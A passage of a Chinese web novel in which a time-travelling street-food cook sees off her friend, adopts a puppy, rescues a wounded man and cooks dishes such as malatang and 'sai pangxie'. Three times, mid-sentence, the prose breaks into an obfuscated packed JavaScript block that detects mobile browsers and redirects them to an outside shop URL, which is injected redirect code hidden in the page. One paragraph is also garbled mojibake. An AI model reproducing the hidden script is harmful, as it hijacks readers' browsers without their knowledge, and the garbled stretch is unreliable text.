空了土豆的推车不算太沉,两人说说笑笑,赶在夕阳擦过山尖的时候就走到了竹竿巷的巷口。在这里住过两天,伏念也觉得巷子里黑黢黢的惹人心惊,一想到再过两天自己就要返程回到爹爹那里,对盛时云实在有些不放心。 巷口那里走过一个人影,盛时云眼疾嘴快,没等来者张口,先热情地换了她的名:“冯阿姐,这是要往哪去?” 冯桃显然是从家里刚出来,被盛时云叫得愣了一瞬,仿佛不觉得她应该出现在此处,惊讶地瞪大了眼:“这么快就卖完了?” 乔乔吃了伏念写下的药方,果然有好转。趁着赵大顺回来,她原本是要抽出空来去三仙街帮衬一把。盛时云准备的薯条整有满满两盆,能够普通商贩一口气卖到晚上。没想到刚出门,就见两人趁着落日,推车而返。 “是呀,销量还行。小乔乔好些了吗?”盛时云腾不出手过去,推着车揩了揩汗,问道。 “好了不少,多亏伏妹妹。我这不是寻思腾出空来了,能去街上帮衬你们一把,结果不凑巧没赶上,我真是亏大了。”冯桃扶着车沿,借着两人的手帮忙往家推,“看这样子,生意不错吧?” “还行,姐姐家的位置真是不错,那边人多,青州人也个个都是好食客,我这下算是沾光了。”盛时云把挡在身前的裙摆往后拽了拽,换一只手推车往前走。她不笑的时候,眼角处也总有一弯弧度,好像时时刻刻心情都很好,令人见之生喜。 “哎呦,邻居之间别说这话,咱两家虽然认识时间短,但是交情可不是一般的深,我见你生意好就放心了。那我先回了,你们要我帮忙尽管开口。” 说话间,三人走到盛时云家的院门前,冯桃一摆手,忽然想到了什么,为难地啧了下牙根,“欸,明儿也不行,过两天我家顺子出海,我得在家给他收拾东西。” 伏念一直觉得冯桃的表情很有趣,她气性大忘性也大,赶上今天赚得多,直接忘掉先前自己对她家赵大顺那份契书的不愉,扬眉笑起来:“阿姐不必日日想着时云,等顺子哥走了,就算天天带着乔乔扎在她家食摊里,都没人撵你走。” 两人进屋之后,盛时云拿出一块布将推车擦拭干净,也快到了晚饭的时候。回来的路上,盛时云原本打算拿今天赚的第一桶金,请伏念去当地酒楼吃点好的,没想到,被伏念义正言辞地拒绝。 说只要吃到时云做的两菜一汤,她就算够本了。 今天天色还早,青州人一日的忙碌渐落帷幕。古往今来的商人都是大差不差,隔夜的青菜第二日更无人问津,一到晚饭过后,三仙街上摊贩就会准备把手头的青菜全部贱卖。 三仙街到竹竿巷的一道上,卖菜的不少,盛时云高高兴兴搜罗了一大箩筐的菜,转头又提了一小桶的牛乳,手里还拿着摊主赠送的一捆粉丝。 “今天吃麻辣烫。”盛时云把所有菜都洗出来,放在菜案上切好。菠菜生菜莲藕萝卜蘑菇,还有其他大包小包的青菜,郁葱葱地躺在箩筐里。麻辣烫讲究的就是个菜品多样化,一筷子下去,捞上来的叶子有五六种,才能达到层次的口感。 伏念坐在凳子上,面前放着两个盆,给土豆削皮。这吃食又是没听过的东西,她点点头:“弄什么都好,我相信你。” 盛时云没先煮菜,而是打了两个个鸡蛋在碗中。古代不似现代,没钱天天吃肉,只能拿鸡蛋当荤腥。 锅里浮着的油已经滚热冒烟,她打搅着碗里已经均匀的蛋液,往里面混些盐巴和水淀粉,下一刻,顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981424|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着锅边将蛋液直接冲进油锅。 蛋液瞬间变色的同时,瞬间鼓起蜂窝孔,金黄蓬松,像天上的太阳落在盘中,格外诱人。 盛时云动作快,将炸好的两个炸蛋摞在一起沥油。又从筐里翻出豆皮下锅炸制。青州的豆皮可都是纯手工制作,还未捞出,就散出一种豆香,膨胀均匀,油脆脆地放在炸蛋旁边。 锅里剩下的油盛出来大半,放到碗里留着以后再用。葱姜蒜扔进锅底,爆香,放入辣椒和豆瓣酱,红油顺着辣椒汩汩冒出。盛时云拿来牛乳,倒入适量,加水,再加盐巴。 等开锅的过程中,盛时云翻出早就买好的木薯粉,准备再做个红糖麻薯。混合牛乳,放糖,在另一口灶上支起一个小锅,烧开水。把调好的麻薯液倒进开水中,顺时针搅拌,直到凝聚拉丝。 成形的麻薯放到热腾腾的红糖水里,吃起来软糯香甜,更对女孩子的身体好。想着给伏念尝鲜,她盛出来一勺糖水,浇在白瓷碗里的麻薯上,玛瑙裹玉般可人。 “趁热吃。过会儿饭就好了。”盛时云把碗撂在桌子上,估摸着辣汤差不多了,转身又到锅旁,将汤里的调料浮沫都捞出来,再把青菜和炸蛋放进去。 盖上锅盖稍等片刻,再捏一把面条下到汤里,面条在辣汤中自在舒展,菜叶油绿嫩黄,萝卜水润。牛乳的作用下,连辣汤都十分鲜美。最后一步,将豆皮放在汤顶,就完成了。 盛时云端菜上桌时,伏念的一碗红糖麻薯已经下肚。麻薯细滑,红糖甜而不腻,她头一次吃到这样的甜点,欢喜不已,还想再吃一碗,就被麻辣烫的辛香勾住了脚。 “这就是麻辣烫?” 伏念迫不及待地从盛时云手里接过麻酱碗,眼睛直勾勾地看着犹在翻滚的汤汁,想要下筷子,却看着桌上的瓶瓶碗碗,不知怎么吃。 “先往碗里舀点麻酱,辣椒和醋随你的口味,拌到菜里吃。”盛时云把勺子递给伏念,自己也先喝了一碗红糖麻薯,胃里暖融融的。 伏念夹了一筷子的青菜,按照盛时云说的方法,吹了吹气。入口的菜叶清爽麻辣,煮得刚刚好,留有一丝爽脆。她又吃了一口炸蛋,蛋液了吸饱汤汁,鲜汤随着牙齿碰撞流进肚子里。 “好好吃。”她讶异地咂了咂嘴,顾不上舌尖被烫,上瘾了般,一口接着一口,“等我走了,上哪找这么多好吃的去。” “好吃就多吃。这个才不难做。”盛时云把麻辣烫的做法写在纸上,让伏念保存好。一想到再过两日伏念就要回程,她心中就隐隐不舍,恨不得多做点好吃的把人留下。 夕阳落了满院,树影婆娑,两人坐在屋檐下,一人捧着一个碗,额角都发了汗。 碗里的菜都吃得差不多了,伏念又盛了一碗糖水,也不着急洗碗,靠着柱子慢悠悠地喝。盛时云起身,将明日用的薯条切好晾起来。院子的墙边放着擦手布,她刚揩干手,忽然顿住了脚。 盛时云不解地回过头,怀疑自己幻听了。 恰逢伏念从缸里舀水经过,见她的模样,问道:“怎么了?” “你听,是不是有什么动静?” 这会儿已经完全擦黑,伏念以为有贼,立马汗毛耸立,抿住了嘴,她侧耳听去—— “呜……呜呜,汪!” 11. 糖醋鱼 临近戌时。伏念裹着被子将蜡烛重新点起,光影里见到盛时云磕磕绊绊地走进来。她刚洗完脸,额前的头发还是湿的,却顾不上擦,躲避着脚下圆乎乎的小尾巴。 “你得给它起个名字啊。”伏念探下手臂,将手指放在“圆球”的鼻子边,任凭它兴高采烈地嗅闻。 “就叫福团吧。”盛时云扑到床上,两三下换上寝衣,也扒着床榻看去,洗干净的小狗崽哈着舌头,因为上不去床急得团团转。想起傍晚时分,在门外捡到它时那副瑟瑟发抖的样子,她不禁莞然一笑。 小狗是个趴趴耳朵,一双豆豆眼,鼻头黑亮,白毛黄花,又神气又可爱。盛时云一开始就想养只小狗看家的心思,等伏念一走,竹竿巷的人更少了,她独自住着总是不安心,正好有只小狗送上门,可怜兮兮的,干脆好好养起来,也是个好缘分。 原本清静的夜晚被福团打破,两个姑娘忙忙碌碌地给小狗洗澡。洗好澡的福团蓬松得像个蒲公英,四条小短腿吭哧吭哧地跑。它也就两个月大,牙齿冒了小尖尖,虽然可以断奶,但还咬不动肉,盛时云特意做了肉泥给它,肚子一饱,尾巴摇得更欢快了。 赚了钱,盛时云的干劲更足。昨晚睡得晚,可不耽误她早上起来收拾推车。福团还小,在窝里缩成一个小球不愿起床。赶早到了三仙街,生意比前一天更火爆。 仅隔半天,就有人行动力非凡,一口气集齐了十个签名,拿票兑换狼牙土豆。除去兑换走的,还有慕名而来的食客,一次能拿走五份。 伏念明日上午就要启程回医馆,行囊包袱虽然不多,却也没有让人再来忙活的道理。盛时云给她强按在家,美其名曰陪福团熟悉环境。 盛时云独自一人出摊,收钱和做餐步骤分明,有条不紊。但工作量实在太大,恨不得自己变成三头六臂的哪吒,一点儿也来不及休息。新画的集签票发出去了三十张,多准备的另外两桶土豆条也见了底。收摊时,盛时云算了算,这一日的收益翻了一番,差不多能到四百文。 钱袋在她手里打转,盛时云推车回家,说好了带伏念出去一吃顿临行饺子。“上车饺子下车面”,千百年来的规矩不能破。更何况伏念来青州一趟,一点当地特色都没吃到,那像话吗。 青州的食肆规模不大,往来的食客也都鱼龙混杂,有穿官衫的,也有穿麻衣的,就算桌子下面懒散地趴着猫狗,客人们也当没看见。 因此,福团干脆没被留在家里,屁颠屁颠地迈着步子,跟着两人跑到了食肆里面。这家食肆是个老字号,以糖醋鱼和鲅鱼馅饺子出名。今天不是节庆,吃饺子的人不多,但是每桌上全都有一条鱼。 鱼多,猫也多。福团没见过这么多猫,立马呲起牙,小奶音呜呜低叫。盛时云把它抱起来,点了一份鲅鱼馅饺子、一条糖醋鱼,外加两小盅米酒。 “哎呀,你就不用担心了,爹爹在衡阳等我,路程很近的。”伏念指尖捻着一棵毛毛草,瘙在福团的鼻尖,惹得小狗抖着毛直打喷嚏。她眼里含着感慨,认真道,“不过……下次来青州,也许就要到你家酒楼里来找你了。” 她越过桌子,握住盛时云的手:“现在我真的不担心你啦,时云,你这么有能耐、有想法,自然能成一番大事的。”纤手紧紧相握,伏念撇着嘴,比福团还可怜,拉长音道,“苟富贵,勿相忘。” “那不一定。下次你来我一定给你喝西北风。”盛时云原本鼻子酸酸的,结果被伏念最后一句打趣似的俏皮话逗笑了,不甘示弱地回敬过去。 她俩从来没有一起住过这么久,便格外珍惜这份得来不易的自由,相见时难别亦难,就算知道以后还会再见,两个小姑娘心里也忍不住难过。 “别提了,又不是再也不见,多吃一点。” 说话间,端上来的糖醋鱼淋着红汁,嫩肉炸得酥黄,摆成鲤鱼打挺的姿势,冒出酸甜的醋味。两盘饺子大约三十个,晶莹剔透,薄皮大馅,鼓囊囊得能看到饺子皮后星点的葱花。 鲅鱼馅尝得就是一个鲜。现代时,盛时云爱好不多,美食算一样,常常在节假日驱车到海边,随便找家摊子,点一份饺子,坐在海风下满满填饱肚子。 这家的鱼也做得好,鲜而不腥,香而不腻,咬下去汤汁四溢,再抿两口米酒,甜辣交织,美得赛神仙。盛时云吃了两口,还挑出没刺的鱼肉,给福团碾碎了喂到嘴里。 “还有,要是京城那边来人欺负你,你一定要和我说。你姐妹我五湖四海,谁不认识!必须给你摇人报仇。”伏念喝得上头,说话都少了顾忌。米酒度数不高,但她们都没什么酒量,喝酒图开心,不消一会儿就两颊泛红,饺子和鱼也吃得就剩个盘底。 盛时云抱不住福团,任凭它跌跌撞撞蹭到地上。一只半大的猫路过,一掌按在它的脑袋上,小狗也不敢反抗,只能抱着盛时云的腿委屈哼唧。 吃了顿好饭菜,一天的时间又要结束。薄暮冥冥,霁风浅月。来不及埋怨时间过得快,盛时云和伏念并排走在街上,清风拂过,扬起垂在脸侧的发丝,小花狗在她们身后吃力地迈步。 “等你忙完衡阳的事,一定要过来看我。”盛时云搂着伏念的肩膀,醉意下也露出娇态,皱着眉依依不舍。她咧嘴假装抽泣了两声,“伏念姑娘朋友遍天下,是不是走了就把我忘了?” “说什么呢。你等着,你姐妹我以后随爹爹开个大医馆,要是这事成了,我就把你接过去,给你享受不尽的荣华富贵。”伏念得意地抿着嘴,在盛时云肩膀上豪爽地拍了拍,“瞧好吧。” “苟富贵,勿相忘。”盛时云顶着小脸,眼里湿乎乎的,将面容衬得更加妍丽。就连伏念都摇着头啧啧称奇,捏着她脸上的肉,拿出纨绔调.戏姑娘的混不吝做派,答应道:“那必须的。” 食肆离竹竿巷要过两座桥。时节临近初夏,河岸边响起细细的虫鸣,过了桥还得绕一个圈子,才能从巷子后面绕到家门口。伏念怕福团掉水里,将它捞在怀里顺着毛。 忽然,正迷糊蜷在伏念怀里的福团耳朵动了动,豆大的眼睛睁开,急切地哼叫起来。这段路距离竹竿巷不远,因为居住的人少,所以格外冷清些,前面就是另一座桥,新长出来的芦苇飘渺着,在黑暗中难以捉摸。 小狗用力挣着后腿,一下跳到地上,反常地叫了两声,飞快捣腾着步子,朝那片水草跑去。 “欸——”伏念往前一抓,没抓住,盛时云也反应过来,酒都被吓醒了多半。黑灯瞎火的,福团这要是掉到水里,恐怕救都救不上来。两人来不及多想,紧追在福团身后。 也不知道一只懒散困倦的狗崽哪来这么大的力气,耳朵都跑得飞起来,没两步就钻到芦苇里,连尾巴尖都不见了。盛时云跑得快些,一把拨开碍眼的芦苇,顾不得手指被锋利的草叶划伤,定睛一看,却是实实在在地后退了半步,心脏差点被吓出来。 芦苇遮挡的草叶中,赫然躺着一个男人。不知道是死是活,大半个身子都泡在水中,身边的河水晕着大片血迹,就连脸上也有几道伤痕。周遭没有光亮,看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13981425|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清男人的容貌,福团的尾巴摇得屁股都晃起来,嘴里叼着男人的衣襟,正用力往上拖。 伏念看到盛时云呆呆地站在原地,几步赶来,探头一瞧,也不由得倒吸一口冷气。 这怎么办?两人一狗大眼瞪小眼。 伏念家里虽是行医的,却也架不住这人伤得太重,看着就一副要咽气的可怜模样,伏念医术尚且不精,只配给爹爹打个下手,她自诩有自知之明,断断不能用自己的三脚猫功夫,误了别人的性命。 现在的酒意是真的醒了。盛时云从衣服上撕下一块布料,缠在方才划伤的手指上,认命摊手:“送医吧。” 多亏京城大太监陈裕办事妥帖,竹竿巷的位置虽然靠边,但是该有的倒是什么都有。最近的一家医馆就在桥外二里处,男人身形高大,两个姑娘实在不能搬着他走这么远的路。 福团围在男人身边不肯走。两人考虑了半天,决定直接去医馆喊人。 多亏医馆有个老郎中常住着,就算年纪大了些,也算是能把男人费劲地背在背上,盛时云和伏念一人扶一边。等彻底将人弄到医馆床上,三个人都满头大汗,一脸生无可恋。 “怎么样?”盛时云和伏念坐在凳子上疲累不堪,只想赶紧回家。福团倒是精神抖擞,在几个人身边来回转圈, 老郎中眉毛挤成了川字,表情逐渐严肃下来,煞有介事地摇头道:“气滞血瘀、营养不良,脉息沉重不灵活。”说着,他站起来,走到床尾,按了按男人的左腿,眉头皱得更深,“这条腿好像也是后接上的,看样子还没养好。” 许是感觉到了疼痛,原本昏睡不语的男人倏然痛哼一声,眼睫颤了颤。顺着声音,盛时云这才注意到男人的面容。烛火恍惚,掩盖不住男人容貌的俊美,即便伤痕累累,眉宇间依旧尽显醉玉颓山之色。 “还能治吗?”伏念的职业素养也是一等一的,她凑过去摸了摸男人的脉搏,舌尖一啧,担忧道,“身体太亏空,恐怕一时半会儿不能医好。” 男人手臂上的皮肉薄得像纸,青色的血管清晰可见,全身上下都瘦得看不到几两肉。可怜兮兮的,不知道经历了什么。 不知道他的身份,更别提寻一寻亲人。不治的话,就凭这副身子骨,估摸着连三天都撑不过去。盛时云眼皮抽痛,盯着浑然不知、犹自开心的福团,深觉自己被这只小崽子坑了个跟头。 都是道德绑架,她现在和被讹上有什么两样。 这几天新赚的铜板还叮当装在身上,伏念明日返程,总不能把她的钱拿来填窟窿。盛时云心疼地捏捏钱袋,开口问道:“他还要睡多久?四百文够吗?” 她们脸上的表情,老郎中全看在眼里,他年岁大了,自然知道两个姑娘心里是怎么想的,捻着手指算了算,“唰唰”在纸上写下一个方子,递给她:“既然如此,可以把他寄住在我这,待人醒了再考虑之后的事。” 伏念接过方子,仔细看了看,发现用药克制,只加了几味用来消炎去热。她将方子交给盛时云,解释道:“并没有什么多余的药材,他身上的伤虽然吓人,实际不重,腿伤还得养养,身体好的话也许明后天就能醒来。” 抓了惶煲桓保怀晕逄臁O衷诘那榭觯侠芍凶龅饺绱艘丫手烈寰。康氖且秸呷市摹S置闱恳说惴狗押妥∷薹眩布埔涣揭佣嘁坏恪?? 盛时云心痛万分地将钱袋交过去,眼泪汪汪,水珠要掉不掉。她好不容易攒的银钱,怎么一下就给一个不相干的人花完了…… 12. 冬瓜糖 马车是上午来的,两个姑娘掉了会儿眼泪,抱在一起谁也不舍得松手,嘱咐的话说了好几遍,包括那个依旧昏迷的人,伏念反复提醒盛时云不要被骗。冯桃听到巷子里吵闹,出来瞧了一眼,发现伏念要走,竟也红着眼眶唠叨了不少。 “有什么事就给我写信,一定一定,千万不要自己憋着。” 送走了伏念,盛时云空落落地望着马车远去的车辙看了好一会儿,直到冯桃站在一旁宽慰几句,这才振作精神回了屋里。 时间还早,盛时云搬了个大盆出来,用刷子把土豆挨个洗好,拿刀去皮。福团懵懂无忧,在院子里追着蝴蝶玩。盆里的土豆是第二天要用的食材,以往伏念在家,两人边聊边干,用不了多大会儿就能全干完。 今时不同往日。盛时云认为自己不是愿意沉湎在负面情绪里的人,但此刻也不免心情低落。刷到一半,院子里的门响了,因为白天家里有人,门栓没插,盛时云一抬头,恰好迎上冯桃关切的眼神。 “阿姐来了!”盛时云刚要站起来,被冯桃反手按了下去。 “我来帮你干点活。你说说,平时不觉得,这回自己一个人,就觉得干不完了吧?”冯桃今天看到巷子里俩小丫头依依惜别,想起自家赵大顺过两天也要出海,不禁感同身受,“哟,养小狗了。” “在外面捡的,叫福团。”盛时云给冯桃搬了个板凳,轻笑,“多谢阿姐了,下次做点丸子给乔乔尝尝,” 她家虽然抠门,但热心也是真的热心。现在的世道,一个姑娘本就不好过,更何况盛时云还要撑起一个小食摊。冯桃是干惯家务活的,对削土豆手到擒来,问清要求之后上手很快,不多时,连薯条都切了出来。 “三仙街那边你能忙得过来吗?你家人多得很,要是忙不过来,我今天中午做完饭还能去搭把手。”冯桃把盆里的水泼出去,又去桌上拿了一杯茶水喝,“这两天赚了不少吧?” 每次说话都能绕到钱上,既知道冯桃没有恶意,盛时云也已经习惯她的说话方式,闻言蹙起眉头,叹了口气:“赚是赚了,但也花了不少。” 冯桃惊讶地停了收盆的动作,回头问起原因。盛时云不欲多说,只能撑着下巴无奈望天:“被讹了一笔……” 切完这些,快到午时。盛时云想起自己三天前封在坛子里的冬瓜糖,她用勺子捞起来几块,仔细观察了一下冬瓜条的色泽。 碧玉一样,清透馨甜。 起火开锅,盛时云干脆把罐子里所有的冬瓜糖都倒了下去,用铲子翻拌,直到糖水蒸干。这道吃食注重火候,盛时云适时地撤出几块木柴,灶火由大转小,直至锅边析出反沙的糖霜。此时未完,还需离火翻炒,见冬瓜条上裹满糖砂才算做成。 冯桃打算回家做午饭,抬眼就见盛时云从厨房拐出来,手里捧着的是用油纸装着的冬瓜糖,展颜道:“最近忙,没空给我们小乔乔做好吃的。这些冬瓜糖是新炒的,阿姐拿着吧,清热解毒,春天给孩子吃最合适。” 糖块温度还是热的,一靠近连空气都变得甜丝丝,冯桃没有推辞,捧着稀罕物办放在手心里,递嘴里一尝,果然清甜可口。 去除送给乔乔的,锅里剩下还有不少,盛时云用笸箩装好去三仙街一起卖。多搞钱是盛时云的宗旨,做吃食要层出不穷,才能保证顾客不会味觉疲劳,保证客人源源不绝。 冬瓜糖制作容易,打包也容易,一文钱三块,拿着集签票来兑换狼牙土豆的,还能免费品尝一块。 一连摆了几天,她家客源依旧可观。盛时云把装着冬瓜糖的笸箩放在铁板旁边,煎炸薯条的时候不免和来客浅聊两句。 “我家小孩最爱吃糖,他娘怕他牙疼,都叫我把糖罐藏房顶上。”一个汉子买了三份狼牙土豆,等的时间久,已经和旁边人唠了起来。 “咱家的糖是冬瓜做的。”盛时云把酱料淋在铁板上,解释道,“清热解毒,养颜护肤,自然比平常的糖好一些。不仅小孩能吃,大人也能吃,保健养生呀。” 听到养颜护肤,近处的女人们都下意识摸了摸自己的脸。队伍里面岁数较大的人也面面相觑,手指默默伸向了钱袋。 “不过呢,一天吃一块足够了,再怎么营养也要适量。来,您拿好。” 盛时云把三份狼牙土豆交给汉子,还未抽回手,就听到汉子一点犹豫也没有,说道:“再给我包两文的糖。” “好嘞。”盛时云笑眯眯的,杏眸明亮有神,用夹子夹了六块糖包到油纸里,“您好吃再来。” “自然的,盛小娘子,你做的吃食都我家里人可是都爱吃!”汉子一甩胳膊,拿过糖豪爽地走了。 盛时云嘴角不自觉地扬起,手上也不闲着,忙忙碌碌地准备下一个人的土豆。 一个人摆摊确实分身乏术。客人都爱往新摊扑,再加上集签票的宣传,多半个青州的人都想来一探究竟。原本伏念帮忙时,盛时云还能抽空休息一会儿,现下直接一口气卖完,累得可谓腰酸背疼。 桶里的土豆条卖完了,笸箩里面的冬瓜糖还剩下几块。盛时云给糖装好,往凉粉摊那边看了一眼,已经没人了。莫秀娘总赶在晚饭左右收摊回家,今日也不例外。 原本想把冬瓜糖送给莫秀娘几块,结果忙起来什么都忘了。盛时云伸了伸腰,肩膀也随着动作发出嘎巴嘎巴的声音。 还有医馆躺着的那位。盛时云揉了揉眉毛,想起下午冯桃无意中说的一句话——“没什么大事就好,要是被讹了的话,应当把你的钱去讨回来呀!” ……甚是有理。 把推车收回家,又把熏了一身油烟的衣服换下来。福团在屋里睡了一天,听到动静迷迷糊糊地蹭上盛时云的脚踝,哼唧唧地要饭吃。一碗肉泥喂下去,福团心满意足地晃着尾巴求摸摸,盛时云叉腰细想,决定带着小狗一起去医馆。 等自己回来的时候又要天黑了。福团最爱扯嗓门大叫,这一点别的用没有,至少能壮壮胆。她假装忽视福团的迷你体型,把小狗一手拎起来放在肩上顶好,绕过巷子朝先前那座桥走去。 郎中和伏念都认为那人伤得不轻,盛时云一路走,根本没觉得男人能醒来。然而,她前脚踏进门槛,福团后脚便兴奋地跳下来,嗅着气味往屋里跑。 医馆是老郎中自己开的,总体来说不算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984295|148147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大,后面开出了三间能住人的屋子,其中有一股悠然的草药香。老郎中正在称药材,见盛时云来,放下手里的小秤,认出她就是昨天那位姑娘,说了句:“你来得巧,人刚醒,可要去瞧瞧?” 昨日还昏迷不醒,现在就能睁眼了吗?盛时云不懂医术,也不想再多管闲事。人既然醒了,那正好问问有无家人,尽早把自己的钱还了才是真。 “多谢您。”盛时云随着老郎中进到里屋,隔着一张屏风,人就躺在榻上,盛时云不知怎么心里竟然没了底气。寂静的空气中传来福团的哼唧声,再靠近些,恰看见小狗正抱着一只手欢快地啃啃。 那手指修长骨感,故意罩在福团的脸上,几乎要把狗崽整个包进去。盛时云还没走近,只将目光一撩,就猛地挪开了眼。榻上的人动作似是一僵,几下将衣衫拢起,轻咳一声,推开福团:“不知姑娘进来,失礼了。” 盛时云老老实实地站在屏风外,莲鞋在地面尴尬地点了点,闻言摸摸鼻子说道:“是我进屋没敲门,抱、抱歉。” “无妨。那日多亏姑娘出手相救,穆某这才保住一条性命,待他日我找回钱袋,定会感谢姑娘的救命之恩。” “你醒了就好,原本是我和我朋友一同将你带过来的,并非我一个人的功劳,至于钱……嗯?你钱袋丢了?”盛时云快速背着自己提前打好的腹稿,一提到铜板,她瞳孔一震,也不顾对方穿没穿衣服,直接从屏风后探头过去,问道,“那怎么办?” 穆遂安没想到她会直接钻过来,更没想到自己会因为没钱还账而哑口无言。对于从前的自己来说,一两银子实在不过九牛一毛,眼下却两手空空,连一文钱也拿不出。 “我……”他莫名有些无助,彷徨地坐在床榻上,给人的感觉是要被推却到千里之外,可落在盛时云眼里怎么看怎么像骗子,“我联系不上家人,手头也没有什么能变卖的东西。” “能否先打欠条,待我养好身子,赚些钱来还你可好?” 福团亲热地窝在穆遂安怀里不肯走,盛时云气不打一处来,捏着狗崽的后颈肉拽到自己身边,暗戳戳地骂了一句“没出息”。眼前这个人身上是实打实的伤口,整张脸都没有血色,可见确实如老郎中所诊。 盛时云不着急用钱,见着他弱柳扶风的样子,忽然觉得自己略加咄咄逼人,想要收敛起情绪,却又不肯吃下一个哑巴亏。 她干脆搬个凳子坐下,把话说开:“不是不行,只是我怕你骗我药钱。我家不富裕,做小本生意,赚的都是辛苦钱。且不说你这身子不是五副药就能养好的,就算养好了,无亲无故,难道还能为了一两银留在青州吗?” 穆遂安颔首,将被褥往上拽了拽:“不瞒姑娘说,穆某家中已经了无牵挂。先前我与祖母相依为命,现在祖母薨逝,正打算出门游历,见见四方天地。” “没想到居然遇上贼人,财物也没了。”他轻笑一声,仿佛自嘲,“倒是真的不如留在青州,暂且度日也好。” 家破人亡、不得已来青州安身立命……盛时云捏了捏福团的圆鼻子,侧头细想。 这套说辞,好像自己也用过…… 13. 赛螃蟹 久雨不歇,自那天从医馆返回,青州就断断续续下了几天的小雨,雨势不大,来往却要撑伞。柳树抽芽后,水泽浇灌得整城郁葱,逐渐有了夏天的模样。 地面和墙壁都是潮湿的,土豆条不能储存太久,只能当天处理当天就卖,导致盛时云的时间紧绷了不少。每日卯时起床,打里打外,一忙就是一整天。 唯一能偷闲的时候,就是冯桃晨起洗衣结束后,顺路来盛时云院里串个门,再帮忙切切薯条,临了再拿几块糖给乔乔带回去。 她家赵大顺三天前随船出海,一去多半年。少一个人吃饭,冯桃就更闲了不少,不仅能帮忙干活,还能时不时带着乔乔来盛时云家里蹭饭。 只是过几天,冯桃打算往娘家去一趟。赵大顺出海之后,家里的家务事都少了一半。乔乔的外婆惦念着外孙女,正好带着孩子回去看看。 这样一来,盛时云这更少了帮忙的,她有点发愁,却还是每天一刻不落地出摊营业,食品质量也保障得同原先一样好。 青州雨水不少,盛时云也给推车顶上铺了一层伞面,保证食材不被水淋。近来几日客人不多,这天气全都愿意窝在家睡觉,平时往来只打个招呼的莫秀娘,空闲时也随盛时云坐在一起,嗑点瓜子。 “你这边生意火,又时时要兼顾算账,一个人能忙过来吗?”莫秀娘坐在伞棚下递给盛时云一个板凳,递过去一把瓜子,“伏姑娘回家了,你就没寻思着再找个帮手?” 才送走一波食客,盛时云拍了拍身前的围裙,这才坐下把瓜子往嘴里送,边嗑边苦恼地发愣:“寻思了呀,可我哪有钱请得起。” 冯桃虽然时时空闲,但她家乔乔年纪小,须得一直看顾在身边。至于雇人做帮手,一日的工钱至少也要二百文,赶上她一日赚下来的一半。 盛时云这出了狼牙土豆,又出了冬瓜糖,等过几日天晴还想再卖点别的吃食。一个人身兼数职,确实难以应付。 “你这摊子干得累啊。当初我爹教我,说做生意不能一口气蛮干,还得知人善任,才能做大老板。”莫秀娘幽幽叹了口气,“我是一辈子卖凉粉了,你做吃食这么好,总得想想办法。” “嗯……确实啊。秀娘,你说得有理,只是上哪去找合适的人呢。”盛时云最近不得休息,人也消瘦了一圈,无精打采地点头,拉着长音回应,却真的将莫秀娘的话听到了耳朵里。 下午的雨又落了起来,三仙街的商户纷纷闭门回家,街上人迹罕至。盛时云收好推车,与莫秀娘道个别,难得早早收摊。回去的路上,正巧看到一个穿蓑衣的渔翁,手里拎着两条黄鱼。 盛时云将其中一条买下来,雨盖认真罩在推车上,又把厨具一一清洗个遍,打算再往医馆去一趟。雨天路滑,她近来一直都没去医馆,算来算去,那五副药差不多已经吃完,该去瞧瞧那人的情况。 受莫秀娘的启发,她心里逐渐萌生另一个想法,若是自己能劝说那人来做帮工,也不失为一件省钱的好事。 自从宫里出来,盛时云就知道不能光靠嘴皮子,非得把诚意和实力一同掏出来,才能把事情爽快办好。 这条黄鱼就是她说服穆遂安的底气。 盛时云向来对做饭自信满满,穿到大周之后做得都是家常菜和小吃,今日不同,她要用鱼肉和鸡蛋做一道精细菜——“赛螃蟹”。 黄鱼已经被开膛处理干净,盛时云用刀剖开,顺着纹理切成小条。洗净后抓到碗里,加入白酒和两勺盐,腌上一刻钟。趁着这功夫,她起锅烧油,见到油温上升起泡,又把鱼肉碗里磕入三个鸡蛋清,伴着淀粉抓匀。 铁勺舀起,将鱼肉滑到勺里过油,颠翻几下,保证鱼条不碎,放到一旁控油。 剩下的蛋黄数量不够,盛时云又往碗里磕入一颗鸡蛋,筷子碰击瓷碗发出清脆的声音,拌入鱼条。再将白酒、姜末、醋、盐和淀粉兑成芡汁。 方才的铁勺仍有油温,再次烧热过油,将裹着鱼条的鸡蛋液倒入锅里,炒熟,下芡汁,淋上香油。螃蟹的鲜味在姜醋的冲击下迸发出来,一盘出锅,鸡蛋滑嫩,表面犹在微颤。 鸡蛋灿烂如同蟹黄,鱼肉雪白散蟹鲜。 